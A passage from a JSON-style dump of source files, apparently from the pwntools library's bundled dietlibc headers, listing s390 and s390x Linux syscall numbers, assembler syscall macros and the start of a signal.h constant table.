49\n#define __NR_getegid\t\t 50\n#define __NR_acct\t\t 51\n#define __NR_umount2\t\t 52\n#define __NR_ioctl\t\t 54\n#define __NR_fcntl\t\t 55\n#define __NR_setpgid\t\t 57\n#define __NR_umask\t\t 60\n#define __NR_chroot\t\t 61\n#define __NR_ustat\t\t 62\n#define __NR_dup2\t\t 63\n#define __NR_getppid\t\t 64\n#define __NR_getpgrp\t\t 65\n#define __NR_setsid\t\t 66\n#define __NR_sigaction\t\t 67\n#define __NR_setreuid\t\t 70\n#define __NR_setregid\t\t 71\n#define __NR_sigsuspend\t\t 72\n#define __NR_sigpending\t\t 73\n#define __NR_sethostname\t 74\n#define __NR_setrlimit\t\t 75\n#define __NR_getrlimit\t\t 76\n#define __NR_getrusage\t\t 77\n#define __NR_gettimeofday\t 78\n#define __NR_settimeofday\t 79\n#define __NR_getgroups\t\t 80\n#define __NR_setgroups\t\t 81\n#define __NR_symlink\t\t 83\n#define __NR_readlink\t\t 85\n#define __NR_uselib\t\t 86\n#define __NR_swapon\t\t 87\n#define __NR_reboot\t\t 88\n#define __NR_readdir\t\t 89\n#define __NR_mmap\t\t 90\n#define __NR_munmap\t\t 91\n#define __NR_truncate\t\t 92\n#define __NR_ftruncate\t\t 93\n#define __NR_fchmod\t\t 94\n#define __NR_fchown\t\t 95\n#define __NR_getpriority\t 96\n#define __NR_setpriority\t 97\n#define __NR_statfs\t\t 99\n#define __NR_fstatfs\t\t100\n#define __NR_ioperm\t\t101\n#define __NR_socketcall\t\t102\n#define __NR_syslog\t\t103\n#define __NR_setitimer\t\t104\n#define __NR_getitimer\t\t105\n#define __NR_stat\t\t106\n#define __NR_lstat\t\t107\n#define __NR_fstat\t\t108\n#define __NR_lookup_dcookie     110\n#define __NR_vhangup\t\t111\n#define __NR_idle\t\t112\n#define __NR_wait4\t\t114\n#define __NR_swapoff\t\t115\n#define __NR_sysinfo\t\t116\n#define __NR_ipc\t\t117\n#define __NR_fsync\t\t118\n#define __NR_sigreturn\t\t119\n#define __NR_clone\t\t120\n#define __NR_setdomainname\t121\n#define __NR_uname\t\t122\n#define __NR_adjtimex\t\t124\n#define __NR_mprotect\t\t125\n#define __NR_sigprocmask\t126\n#define __NR_create_module\t127\n#define __NR_init_module\t128\n#define __NR_delete_module\t129\n#define __NR_get_kernel_syms\t130\n#define __NR_quotactl\t\t131\n#define __NR_getpgid\t\t132\n#define __NR_fchdir\t\t133\n#define __NR_bdflush\t\t134\n#define __NR_sysfs\t\t135\n#define __NR_personality\t136\n#define __NR_afs_syscall\t137 /* Syscall for Andrew File System */\n#define __NR_setfsuid\t\t138\n#define __NR_setfsgid\t\t139\n#define __NR__llseek\t\t140\n#define __NR_getdents\t\t141\n#define __NR__newselect \t142\n#define __NR_flock\t\t143\n#define __NR_msync\t\t144\n#define __NR_readv\t\t145\n#define __NR_writev\t\t146\n#define __NR_getsid\t\t147\n#define __NR_fdatasync\t\t148\n#define __NR__sysctl\t\t149\n#define __NR_mlock\t\t150\n#define __NR_munlock\t\t151\n#define __NR_mlockall\t\t152\n#define __NR_munlockall\t\t153\n#define __NR_sched_setparam\t\t154\n#define __NR_sched_getparam\t\t155\n#define __NR_sched_setscheduler\t\t156\n#define __NR_sched_getscheduler\t\t157\n#define __NR_sched_yield\t\t158\n#define __NR_sched_get_priority_max\t159\n#define __NR_sched_get_priority_min\t160\n#define __NR_sched_rr_get_interval\t161\n#define __NR_nanosleep\t\t162\n#define __NR_mremap\t\t163\n#define __NR_setresuid\t\t164\n#define __NR_getresuid\t\t165\n#define __NR_query_module\t167\n#define __NR_poll\t\t168\n#define __NR_nfsservctl\t\t169\n#define __NR_setresgid\t\t170\n#define __NR_getresgid\t\t171\n#define __NR_prctl              172\n#define __NR_rt_sigreturn\t173\n#define __NR_rt_sigaction\t174\n#define __NR_rt_sigprocmask\t175\n#define __NR_rt_sigpending\t176\n#define __NR_rt_sigtimedwait\t177\n#define __NR_rt_sigqueueinfo\t178\n#define __NR_rt_sigsuspend\t179\n#define __NR_pread64\t\t180\n#define __NR_pwrite64\t\t181\n#define __NR_chown\t\t182\n#define __NR_getcwd\t\t183\n#define __NR_capget\t\t184\n#define __NR_capset\t\t185\n#define __NR_sigaltstack\t186\n#define __NR_sendfile\t\t187\n#define __NR_getpmsg\t\t188\n#define __NR_putpmsg\t\t189\n#define __NR_vfork\t\t190\n#define __NR_ugetrlimit\t\t191\t/* SuS compliant getrlimit */\n#define __NR_mmap2\t\t192\n#define __NR_truncate64\t\t193\n#define __NR_ftruncate64\t194\n#define __NR_stat64\t\t195\n#define __NR_lstat64\t\t196\n#define __NR_fstat64\t\t197\n#define __NR_lchown32\t\t198\n#define __NR_getuid32\t\t199\n#define __NR_getgid32\t\t200\n#define __NR_geteuid32\t\t201\n#define __NR_getegid32\t\t202\n#define __NR_setreuid32\t\t203\n#define __NR_setregid32\t\t204\n#define __NR_getgroups32\t205\n#define __NR_setgroups32\t206\n#define __NR_fchown32\t\t207\n#define __NR_setresuid32\t208\n#define __NR_getresuid32\t209\n#define __NR_setresgid32\t210\n#define __NR_getresgid32\t211\n#define __NR_chown32\t\t212\n#define __NR_setuid32\t\t213\n#define __NR_setgid32\t\t214\n#define __NR_setfsuid32\t\t215\n#define __NR_setfsgid32\t\t216\n#define __NR_pivot_root\t\t217\n#define __NR_mincore\t\t218\n#define __NR_madvise\t\t219\n#define __NR_getdents64\t\t220\n#define __NR_fcntl64\t\t221\n#define __NR_readahead\t\t222\n#define __NR_sendfile64\t\t223\n#define __NR_setxattr\t\t224\n#define __NR_lsetxattr\t\t225\n#define __NR_fsetxattr\t\t226\n#define __NR_getxattr\t\t227\n#define __NR_lgetxattr\t\t228\n#define __NR_fgetxattr\t\t229\n#define __NR_listxattr\t\t230\n#define __NR_llistxattr\t\t231\n#define __NR_flistxattr\t\t232\n#define __NR_removexattr\t233\n#define __NR_lremovexattr\t234\n#define __NR_fremovexattr\t235\n#define __NR_gettid\t\t236\n#define __NR_tkill\t\t237\n#define __NR_futex\t\t238\n#define __NR_sched_setaffinity\t239\n#define __NR_sched_getaffinity\t240\n#define __NR_tgkill\t\t241\n/*\n * Number 242 is reserved for tux\n */\n#define __NR_io_setup\t\t243\n#define __NR_io_destroy\t\t244\n#define __NR_io_getevents\t245\n#define __NR_io_submit\t\t246\n#define __NR_io_cancel\t\t247\n#define __NR_exit_group\t\t248\n#define __NR_epoll_create\t249\n#define __NR_epoll_ctl\t\t250\n#define __NR_epoll_wait\t\t251\n#define __NR_set_tid_address\t252\n#define __NR_fadvise64\t\t253\n#define __NR_timer_create\t254\n#define __NR_timer_settime\t(__NR_timer_create+1)\n#define __NR_timer_gettime\t(__NR_timer_create+2)\n#define __NR_timer_getoverrun\t(__NR_timer_create+3)\n#define __NR_timer_delete\t(__NR_timer_create+4)\n#define __NR_clock_settime\t(__NR_timer_create+5)\n#define __NR_clock_gettime\t(__NR_timer_create+6)\n#define __NR_clock_getres\t(__NR_timer_create+7)\n#define __NR_clock_nanosleep\t(__NR_timer_create+8)\n/* Number 263 is reserved for vserver */\n#define __NR_fadvise64_64\t264\n#define __NR_statfs64\t\t265\n#define __NR_fstatfs64\t\t266\n#define __NR_remap_file_pages\t267\n#define __NR_mbind\t\t268\n#define __NR_get_mempolicy\t269\n#define __NR_set_mempolicy\t270\n#define __NR_mq_open\t\t271\n#define __NR_mq_unlink\t\t272\n#define __NR_mq_timedsend\t273\n#define __NR_mq_timedreceive\t274\n#define __NR_mq_notify\t\t275\n#define __NR_mq_getsetattr\t276\n#define __NR_kexec_load\t\t277\n#define __NR_add_key\t\t278\n#define __NR_request_key\t279\n#define __NR_keyctl\t\t280\n#define __NR_waitid\t\t281\n#define __NR_ioprio_set\t\t282\n#define __NR_ioprio_get\t\t283\n#define __NR_inotify_init\t284\n#define __NR_inotify_add_watch\t285\n#define __NR_inotify_rm_watch\t286\n#define __NR_migrate_pages\t287\n#define __NR_openat\t\t288\n#define __NR_mkdirat\t\t289\n#define __NR_mknodat\t\t290\n#define __NR_fchownat\t\t291\n#define __NR_futimesat\t\t292\n#define __NR_fstatat64\t\t293\n#define __NR_unlinkat\t\t294\n#define __NR_renameat\t\t295\n#define __NR_linkat\t\t296\n#define __NR_symlinkat\t\t297\n#define __NR_readlinkat\t\t298\n#define __NR_fchmodat\t\t299\n#define __NR_faccessat\t\t300\n#define __NR_pselect6\t\t301\n#define __NR_ppoll\t\t302\n#define __NR_unshare\t\t303\n#define __NR_set_robust_list\t304\n#define __NR_get_robust_list\t305\n#define __NR_splice\t\t306\n#define __NR_sync_file_range\t307\n#define __NR_tee\t\t308\n#define __NR_vmsplice\t\t309\n#define __NR_move_pages\t\t310\n#define __NR_getcpu\t\t311\n#define __NR_epoll_pwait\t312\n#define __NR_utimes\t\t313\n#define __NR_fallocate\t\t314\n#define __NR_utimensat\t\t315\n#define __NR_signalfd\t\t316\n#define __NR_timerfd\t\t317\n#define __NR_eventfd\t\t318\n#define __NR_timerfd_create\t319\n#define __NR_timerfd_settime\t320\n#define __NR_timerfd_gettime\t321\n#define __NR_signalfd4\t\t322\n#define __NR_eventfd2\t\t323\n#define __NR_inotify_init1\t324\n#define __NR_pipe2\t\t325\n#define __NR_dup3\t\t326\n#define __NR_epoll_create1\t327\n#define __NR_preadv\t\t328\n#define __NR_pwritev\t\t329\n#define __NR_rt_tgsigqueueinfo\t330\n#define __NR_perf_event_open\t331\n#define __NR_fanotify_init\t332\n#define __NR_fanotify_mark\t333\n#define __NR_prlimit64\t\t334\n#define __NR_name_to_handle_at\t335\n#define __NR_open_by_handle_at\t336\n#define __NR_clock_adjtime\t337\n#define __NR_syncfs\t\t338\n#define __NR_setns\t\t339\n#define __NR_process_vm_readv\t340\n#define __NR_process_vm_writev\t341\n#define __NR_s390_runtime_instr 342\n#define __NR_kcmp\t\t343\n#define __NR_finit_module\t344\n#define __NR_sched_setattr\t345\n#define __NR_sched_getattr\t346\n#define __NR_renameat2\t\t347\n#define __NR_seccomp\t\t348\n#define __NR_getrandom\t\t349\n#define __NR_memfd_create\t350\n#define __NR_bpf\t\t351\n#define __NR_s390_pci_mmio_write\t352\n#define __NR_s390_pci_mmio_read\t\t353\n#define __NR_execveat\t\t354\n#define __NR_userfaultfd\t355\n#define __NR_membarrier\t\t356\n#define __NR_recvmmsg\t\t357\n#define __NR_sendmmsg\t\t358\n#define __NR_socket\t\t359\n#define __NR_socketpair\t\t360\n#define __NR_bind\t\t361\n#define __NR_connect\t\t362\n#define __NR_listen\t\t363\n#define __NR_accept4\t\t364\n#define __NR_getsockopt\t\t365\n#define __NR_setsockopt\t\t366\n#define __NR_getsockname\t367\n#define __NR_getpeername\t368\n#define __NR_sendto\t\t369\n#define __NR_sendmsg\t\t370\n#define __NR_recvfrom\t\t371\n#define __NR_recvmsg\t\t372\n#define __NR_shutdown\t\t373\n#define __NR_mlock2\t\t374\n#define __NR_copy_file_range\t375\n#define __NR_preadv2\t\t376\n#define __NR_pwritev2\t\t377\n#define __NR_s390_guarded_storage 378\n#define __NR_statx 379\n#define __NR_s390_sthyi 380\n#define __NR_kexec_file_load 381\n#define __NR_io_pgetevents 382\n#define __NR_rseq 383\n#define __NR_pkey_mprotect 384\n#define __NR_pkey_alloc 385\n#define __NR_pkey_free 386\n#define __NR_semget 393\n#define __NR_semctl 394\n#define __NR_shmget 395\n#define __NR_shmctl 396\n#define __NR_shmat 397\n#define __NR_shmdt 398\n#define __NR_msgget 399\n#define __NR_msgsnd 400\n#define __NR_msgrcv 401\n#define __NR_msgctl 402\n#define __NR_clock_gettime64 403\n#define __NR_clock_settime64 404\n#define __NR_clock_adjtime64 405\n#define __NR_clock_getres_time64 406\n#define __NR_clock_nanosleep_time64 407\n#define __NR_timer_gettime64 408\n#define __NR_timer_settime64 409\n#define __NR_timerfd_gettime64 410\n#define __NR_timerfd_settime64 411\n#define __NR_utimensat_time64 412\n#define __NR_pselect6_time64 413\n#define __NR_ppoll_time64 414\n#define __NR_io_pgetevents_time64 416\n#define __NR_recvmmsg_time64 417\n#define __NR_mq_timedsend_time64 418\n#define __NR_mq_timedreceive_time64 419\n#define __NR_semtimedop_time64 420\n#define __NR_rt_sigtimedwait_time64 421\n#define __NR_futex_time64 422\n#define __NR_sched_rr_get_interval_time64 423\n#define __NR_pidfd_send_signal 424\n#define __NR_io_uring_setup 425\n#define __NR_io_uring_enter 426\n#define __NR_io_uring_register 427\n#define __NR_open_tree 428\n#define __NR_move_mount 429\n#define __NR_fsopen 430\n#define __NR_fsconfig 431\n#define __NR_fsmount 432\n#define __NR_fspick 433\n#define __NR_pidfd_open 434\n#define __NR_clone3 435\n#define __NR_openat2 437\n#define __NR_pidfd_getfd 438\n\n#define syscall_weak(name,wsym,sym) \\\n.text; \\\n.type wsym,@function; \\\n.weak wsym; \\\nwsym: ; \\\n.type sym,@function; \\\n.global sym; \\\nsym: \\\n\t.if __NR_##name < 256 ; \\\n\tsvc __NR_##name ; \\\n\t.else ; \\\n\tla %r1,__NR_##name ; \\\n\tsvc 0 ; \\\n\t.endif ; \\\n\tj __unified_syscall\n\n#define syscall(name,sym) \\\n.text; \\\n.type sym,@function; \\\n.global sym; \\\nsym: \\\n\t.if __NR_##name < 256 ; \\\n\tsvc __NR_##name ; \\\n\t.else ; \\\n\tla %r1,__NR_##name ; \\\n\tsvc 0 ; \\\n\t.endif ; \\\n\tj __unified_syscall\n\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/s390x/syscalls.h",
    "content": "\n\n\n\n\n#define __NR_exit\t\t  1\n#define __NR_fork\t\t  2\n#define __NR_read\t\t  3\n#define __NR_write\t\t  4\n#define __NR_open\t\t  5\n#define __NR_close\t\t  6\n#define __NR_restart_syscall      7\n#define __NR_creat\t\t  8\n#define __NR_link\t\t  9\n#define __NR_unlink\t\t 10\n#define __NR_execve\t\t 11\n#define __NR_chdir\t\t 12\n#define __NR_mknod\t\t 14\n#define __NR_chmod\t\t 15\n#define __NR_lseek\t\t 19\n#define __NR_getpid\t\t 20\n#define __NR_mount\t\t 21\n#define __NR_umount\t\t 22\n#define __NR_ptrace\t\t 26\n#define __NR_alarm\t\t 27\n#define __NR_pause\t\t 29\n#define __NR_utime\t\t 30\n#define __NR_access\t\t 33\n#define __NR_nice\t\t 34\n#define __NR_sync\t\t 36\n#define __NR_kill\t\t 37\n#define __NR_rename\t\t 38\n#define __NR_mkdir\t\t 39\n#define __NR_rmdir\t\t 40\n#define __NR_dup\t\t 41\n#define __NR_pipe\t\t 42\n#define __NR_times\t\t 43\n#define __NR_brk\t\t 45\n#define __NR_signal\t\t 48\n#define __NR_acct\t\t 51\n#define __NR_umount2\t\t 52\n#define __NR_ioctl\t\t 54\n#define __NR_fcntl\t\t 55\n#define __NR_setpgid\t\t 57\n#define __NR_umask\t\t 60\n#define __NR_chroot\t\t 61\n#define __NR_ustat\t\t 62\n#define __NR_dup2\t\t 63\n#define __NR_getppid\t\t 64\n#define __NR_getpgrp\t\t 65\n#define __NR_setsid\t\t 66\n#define __NR_sigaction\t\t 67\n#define __NR_sigsuspend\t\t 72\n#define __NR_sigpending\t\t 73\n#define __NR_sethostname\t 74\n#define __NR_setrlimit\t\t 75\n#define __NR_getrusage\t\t 77\n#define __NR_gettimeofday\t 78\n#define __NR_settimeofday\t 79\n#define __NR_symlink\t\t 83\n#define __NR_readlink\t\t 85\n#define __NR_uselib\t\t 86\n#define __NR_swapon\t\t 87\n#define __NR_reboot\t\t 88\n#define __NR_readdir\t\t 89\n#define __NR_mmap\t\t 90\n#define __NR_munmap\t\t 91\n#define __NR_truncate\t\t 92\n#define __NR_ftruncate\t\t 93\n#define __NR_fchmod\t\t 94\n#define __NR_getpriority\t 96\n#define __NR_setpriority\t 97\n#define __NR_statfs\t\t 99\n#define __NR_fstatfs\t\t100\n#define __NR_socketcall\t\t102\n#define __NR_syslog\t\t103\n#define __NR_setitimer\t\t104\n#define __NR_getitimer\t\t105\n#define __NR_stat\t\t106\n#define __NR_lstat\t\t107\n#define __NR_fstat\t\t108\n#define __NR_lookup_dcookie     110\n#define __NR_vhangup\t\t111\n#define __NR_idle\t\t112\n#define __NR_wait4\t\t114\n#define __NR_swapoff\t\t115\n#define __NR_sysinfo\t\t116\n#define __NR_ipc\t\t117\n#define __NR_fsync\t\t118\n#define __NR_sigreturn\t\t119\n#define __NR_clone\t\t120\n#define __NR_setdomainname\t121\n#define __NR_uname\t\t122\n#define __NR_adjtimex\t\t124\n#define __NR_mprotect\t\t125\n#define __NR_sigprocmask\t126\n#define __NR_create_module\t127\n#define __NR_init_module\t128\n#define __NR_delete_module\t129\n#define __NR_get_kernel_syms\t130\n#define __NR_quotactl\t\t131\n#define __NR_getpgid\t\t132\n#define __NR_fchdir\t\t133\n#define __NR_bdflush\t\t134\n#define __NR_sysfs\t\t135\n#define __NR_personality\t136\n#define __NR_afs_syscall\t137 /* Syscall for Andrew File System */\n#define __NR_getdents\t\t141\n#define __NR_select\t\t142\n#define __NR_flock\t\t143\n#define __NR_msync\t\t144\n#define __NR_readv\t\t145\n#define __NR_writev\t\t146\n#define __NR_getsid\t\t147\n#define __NR_fdatasync\t\t148\n#define __NR__sysctl\t\t149\n#define __NR_mlock\t\t150\n#define __NR_munlock\t\t151\n#define __NR_mlockall\t\t152\n#define __NR_munlockall\t\t153\n#define __NR_sched_setparam\t\t154\n#define __NR_sched_getparam\t\t155\n#define __NR_sched_setscheduler\t\t156\n#define __NR_sched_getscheduler\t\t157\n#define __NR_sched_yield\t\t158\n#define __NR_sched_get_priority_max\t159\n#define __NR_sched_get_priority_min\t160\n#define __NR_sched_rr_get_interval\t161\n#define __NR_nanosleep\t\t162\n#define __NR_mremap\t\t163\n#define __NR_query_module\t167\n#define __NR_poll\t\t168\n#define __NR_nfsservctl\t\t169\n#define __NR_prctl              172\n#define __NR_rt_sigreturn\t173\n#define __NR_rt_sigaction\t174\n#define __NR_rt_sigprocmask\t175\n#define __NR_rt_sigpending\t176\n#define __NR_rt_sigtimedwait\t177\n#define __NR_rt_sigqueueinfo\t178\n#define __NR_rt_sigsuspend\t179\n#define __NR_pread64\t\t180\n#define __NR_pwrite64\t\t181\n#define __NR_getcwd\t\t183\n#define __NR_capget\t\t184\n#define __NR_capset\t\t185\n#define __NR_sigaltstack\t186\n#define __NR_sendfile\t\t187\n#define __NR_getpmsg\t\t188\n#define __NR_putpmsg\t\t189\n#define __NR_vfork\t\t190\n#define __NR_getrlimit\t\t191\t/* SuS compliant getrlimit */\n#define __NR_lchown  \t\t198\n#define __NR_getuid  \t\t199\n#define __NR_getgid  \t\t200\n#define __NR_geteuid  \t\t201\n#define __NR_getegid  \t\t202\n#define __NR_setreuid  \t\t203\n#define __NR_setregid  \t\t204\n#define __NR_getgroups  \t205\n#define __NR_setgroups  \t206\n#define __NR_fchown  \t\t207\n#define __NR_setresuid  \t208\n#define __NR_getresuid  \t209\n#define __NR_setresgid  \t210\n#define __NR_getresgid  \t211\n#define __NR_chown  \t\t212\n#define __NR_setuid  \t\t213\n#define __NR_setgid  \t\t214\n#define __NR_setfsuid  \t\t215\n#define __NR_setfsgid  \t\t216\n#define __NR_pivot_root\t\t217\n#define __NR_mincore\t\t218\n#define __NR_madvise\t\t219\n#define __NR_getdents64\t\t220\n#define __NR_readahead\t\t222\n#define __NR_setxattr\t\t224\n#define __NR_lsetxattr\t\t225\n#define __NR_fsetxattr\t\t226\n#define __NR_getxattr\t\t227\n#define __NR_lgetxattr\t\t228\n#define __NR_fgetxattr\t\t229\n#define __NR_listxattr\t\t230\n#define __NR_llistxattr\t\t231\n#define __NR_flistxattr\t\t232\n#define __NR_removexattr\t233\n#define __NR_lremovexattr\t234\n#define __NR_fremovexattr\t235\n#define __NR_gettid\t\t236\n#define __NR_tkill\t\t237\n#define __NR_futex\t\t238\n#define __NR_sched_setaffinity\t239\n#define __NR_sched_getaffinity\t240\n#define __NR_tgkill\t\t241\n/*\n * Number 242 is reserved for tux\n */\n#define __NR_io_setup\t\t243\n#define __NR_io_destroy\t\t244\n#define __NR_io_getevents\t245\n#define __NR_io_submit\t\t246\n#define __NR_io_cancel\t\t247\n#define __NR_exit_group\t\t248\n#define __NR_epoll_create\t249\n#define __NR_epoll_ctl\t\t250\n#define __NR_epoll_wait\t\t251\n#define __NR_set_tid_address\t252\n#define __NR_fadvise64\t\t253\n#define __NR_timer_create\t254\n#define __NR_timer_settime\t(__NR_timer_create+1)\n#define __NR_timer_gettime\t(__NR_timer_create+2)\n#define __NR_timer_getoverrun\t(__NR_timer_create+3)\n#define __NR_timer_delete\t(__NR_timer_create+4)\n#define __NR_clock_settime\t(__NR_timer_create+5)\n#define __NR_clock_gettime\t(__NR_timer_create+6)\n#define __NR_clock_getres\t(__NR_timer_create+7)\n#define __NR_clock_nanosleep\t(__NR_timer_create+8)\n/* Number 263 is reserved for vserver */\n#define __NR_statfs64\t\t265\n#define __NR_fstatfs64\t\t266\n#define __NR_remap_file_pages\t267\n#define __NR_mbind\t\t268\n#define __NR_get_mempolicy\t269\n#define __NR_set_mempolicy\t270\n#define __NR_mq_open\t\t271\n#define __NR_mq_unlink\t\t272\n#define __NR_mq_timedsend\t273\n#define __NR_mq_timedreceive\t274\n#define __NR_mq_notify\t\t275\n#define __NR_mq_getsetattr\t276\n#define __NR_kexec_load\t\t277\n#define __NR_add_key\t\t278\n#define __NR_request_key\t279\n#define __NR_keyctl\t\t280\n#define __NR_waitid\t\t281\n#define __NR_ioprio_set\t\t282\n#define __NR_ioprio_get\t\t283\n#define __NR_inotify_init\t284\n#define __NR_inotify_add_watch\t285\n#define __NR_inotify_rm_watch\t286\n#define __NR_migrate_pages\t287\n#define __NR_openat\t\t288\n#define __NR_mkdirat\t\t289\n#define __NR_mknodat\t\t290\n#define __NR_fchownat\t\t291\n#define __NR_futimesat\t\t292\n#define __NR_newfstatat\t\t293\n#define __NR_unlinkat\t\t294\n#define __NR_renameat\t\t295\n#define __NR_linkat\t\t296\n#define __NR_symlinkat\t\t297\n#define __NR_readlinkat\t\t298\n#define __NR_fchmodat\t\t299\n#define __NR_faccessat\t\t300\n#define __NR_pselect6\t\t301\n#define __NR_ppoll\t\t302\n#define __NR_unshare\t\t303\n#define __NR_set_robust_list\t304\n#define __NR_get_robust_list\t305\n#define __NR_splice\t\t306\n#define __NR_sync_file_range\t307\n#define __NR_tee\t\t308\n#define __NR_vmsplice\t\t309\n#define __NR_move_pages\t\t310\n#define __NR_getcpu\t\t311\n#define __NR_epoll_pwait\t312\n#define __NR_utimes\t\t313\n#define __NR_fallocate\t\t314\n#define __NR_utimensat\t\t315\n#define __NR_signalfd\t\t316\n#define __NR_timerfd\t\t317\n#define __NR_eventfd\t\t318\n#define __NR_timerfd_create\t319\n#define __NR_timerfd_settime\t320\n#define __NR_timerfd_gettime\t321\n#define __NR_signalfd4\t\t322\n#define __NR_eventfd2\t\t323\n#define __NR_inotify_init1\t324\n#define __NR_pipe2\t\t325\n#define __NR_dup3\t\t326\n#define __NR_epoll_create1\t327\n#define __NR_preadv\t\t328\n#define __NR_pwritev\t\t329\n#define __NR_rt_tgsigqueueinfo\t330\n#define __NR_perf_event_open\t331\n#define __NR_fanotify_init\t332\n#define __NR_fanotify_mark\t333\n#define __NR_prlimit64\t\t334\n#define __NR_name_to_handle_at\t335\n#define __NR_open_by_handle_at\t336\n#define __NR_clock_adjtime\t337\n#define __NR_syncfs\t\t338\n#define __NR_setns\t\t339\n#define __NR_process_vm_readv\t340\n#define __NR_process_vm_writev\t341\n#define __NR_s390_runtime_instr 342\n#define __NR_kcmp\t\t343\n#define __NR_finit_module\t344\n#define __NR_sched_setattr\t345\n#define __NR_sched_getattr\t346\n#define __NR_renameat2\t\t347\n#define __NR_seccomp\t\t348\n#define __NR_getrandom\t\t349\n#define __NR_memfd_create\t350\n#define __NR_bpf\t\t351\n#define __NR_s390_pci_mmio_write\t352\n#define __NR_s390_pci_mmio_read\t\t353\n#define __NR_execveat\t\t354\n#define __NR_userfaultfd\t355\n#define __NR_membarrier\t\t356\n#define __NR_recvmmsg\t\t357\n#define __NR_sendmmsg\t\t358\n#define __NR_socket\t\t359\n#define __NR_socketpair\t\t360\n#define __NR_bind\t\t361\n#define __NR_connect\t\t362\n#define __NR_listen\t\t363\n#define __NR_accept4\t\t364\n#define __NR_getsockopt\t\t365\n#define __NR_setsockopt\t\t366\n#define __NR_getsockname\t367\n#define __NR_getpeername\t368\n#define __NR_sendto\t\t369\n#define __NR_sendmsg\t\t370\n#define __NR_recvfrom\t\t371\n#define __NR_recvmsg\t\t372\n#define __NR_shutdown\t\t373\n#define __NR_mlock2\t\t374\n#define __NR_copy_file_range\t375\n#define __NR_preadv2\t\t376\n#define __NR_pwritev2\t\t377\n#define __NR_s390_guarded_storage 378\n#define __NR_statx 379\n#define __NR_s390_sthyi 380\n#define __NR_kexec_file_load 381\n#define __NR_io_pgetevents 382\n#define __NR_rseq 383\n#define __NR_pkey_mprotect 384\n#define __NR_pkey_alloc 385\n#define __NR_pkey_free 386\n#define __NR_semtimedop 392\n#define __NR_semget 393\n#define __NR_semctl 394\n#define __NR_shmget 395\n#define __NR_shmctl 396\n#define __NR_shmat 397\n#define __NR_shmdt 398\n#define __NR_msgget 399\n#define __NR_msgsnd 400\n#define __NR_msgrcv 401\n#define __NR_msgctl 402\n#define __NR_pidfd_send_signal 424\n#define __NR_io_uring_setup 425\n#define __NR_io_uring_enter 426\n#define __NR_io_uring_register 427\n#define __NR_open_tree 428\n#define __NR_move_mount 429\n#define __NR_fsopen 430\n#define __NR_fsconfig 431\n#define __NR_fsmount 432\n#define __NR_fspick 433\n#define __NR_pidfd_open 434\n#define __NR_clone3 435\n#define __NR_openat2 437\n#define __NR_pidfd_getfd 438\n\n#define syscall_weak(name,wsym,sym) \\\n.text; \\\n.type wsym,@function; \\\n.weak wsym; \\\nwsym: ; \\\n.type sym,@function; \\\n.global sym; \\\nsym: \\\n\t.if __NR_##name < 256 ; \\\n\tsvc __NR_##name ; \\\n\t.else ; \\\n\tla %r1,__NR_##name ; \\\n\tsvc 0 ; \\\n\t.endif ; \\\n\tj __unified_syscall\n\n#define syscall(name,sym) \\\n.text; \\\n.type sym,@function; \\\n.global sym; \\\nsym: \\\n\t.if __NR_##name < 256 ; \\\n\tsvc __NR_##name ; \\\n\t.else ; \\\n\tla %r1,__NR_##name ; \\\n\tsvc 0 ; \\\n\t.endif ; \\\n\tj __unified_syscall\n\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/signal.h",
    "content": "#ifndef _SIGNAL_H\n#define _SIGNAL_H\n\n#include <sys/cdefs.h>\n\n__BEGIN_DECLS\n\n#define __WANT_POSIX1B_SIGNALS__\n\n#include <sys/types.h>\n#include <endian.h>\n\n#define NSIG\t\t32\n\n#ifdef __mips__\n#define _NSIG\t\t128\n#else\n#define _NSIG\t\t65\n#endif\n\n#define SIGHUP\t\t 1\n#define SIGINT\t\t 2\n#define SIGQUIT\t\t 3\n#define SIGILL\t\t 4\n#define SIGTRAP\t\t 5\n#define SIGABRT\t\t 6\n#define SIGIOT\t\t 6\n#define SIGFPE\t\t 8\n#define SIGKILL\t\t 9\n#define SIGSEGV\t\t11\n#define SIGPIPE\t\t13\n#define SIGALRM\t\t14\n#define SIGTERM\t\t15\n#define SIGUNUSED\t31\n#if defined(__i386__) || defined(__x86_64__) || defined(__powerpc__) || defined(__arm__) \\\n\t|| defined(__s390__) || defined(__ia64__) || defined(__powerpc64__) || defined(__aarch64__)\n#define SIGBUS\t\t 7\n#define SIGUSR1\t\t10\n#define SIGUSR2\t\t12\n#define SIGSTKFLT\t16\n#define SIGCHLD\t\t17\n#define SIGCONT\t\t18\n#define SIGSTOP\t\t19\n#define SIGTSTP\t\t20\n#define SIGTTIN\t\t21\n#define SIGTTOU\t\t22\n#define SIGURG\t\t23\n#define SIGXCPU\t\t24\n#define SIGXFSZ\t\t25\n#define SIGVTALRM\t26\n#define SIGPROF\t\t27\n#define SIGWINCH\t28\n#define SIGIO\t\t29\n#define SIGPWR\t\t30\n#define SIGSYS\t\t31\n#elif defined(__alpha__) || defined(__sparc__)\n#define SIGEMT\t\t 7\n#define SIGBUS\t\t10\n#define SIGSYS\t\t12\n#define SIGURG\t\t16\n#define SIGSTOP\t\t17\n#define SIGTSTP\t\t18\n#define SIGCONT\t\t19\n#define SIGCHLD\t\t20\n#define SIGTTIN\t\t21\n#define SIGTTOU\t\t22\n#define SIGIO\t\t23\n#define SIGXCPU\t\t24\n#define SIGXFSZ\t\t25\n#define SIGVTALRM\t26\n#define SIGPROF\t\t27\n#define SIGWINCH\t28\n#define SIGPWR\t\t29\n#define SIGUSR1\t\t30\n#define SIGUSR2\t\t31\n#if defined(__alpha__)\n#define SIGINFO\t\tSIGPWR\n#endif\n#elif defined(__mips__)\n#define SIGEMT\t\t 7\n#define SIGBUS\t\t10\n#define SIGSYS\t\t12\n#define SIGUSR1\t\t16\n#define SIGUSR2\t\t17\n#define SIGCHLD\t\t18\n#define SIGPWR\t\t19\n#define SIGWINCH\t20\n#define SIGURG\t\t21\n#define SIGIO\t\t22\n#define SIGSTOP\t\t23\n#define SIGTSTP\t\t24\n#define SIGCONT\t\t25\n#define SIGTTIN\t\t26\n#define SIGTTOU\t\t27\n#define SIGVTALRM\t28\n#define SIGPROF\t\t29\n#define SIGXCPU\t\t30\n#define SIGXFSZ\t\t31\n#elif defined(__hppa__)\n#define SIGSTKFLT\t 7\n#define SIGBUS\t\t10\n#define SIGXCPU\t\t12\n#define SIGUSR1\t\t16\n#define SIGUSR2\t\t17\n#define SIGCHLD\t\t18\n#define SIGPWR\t\t19\n#define SIGVTALRM\t20\n#define SIGPROF\t\t21\n#define 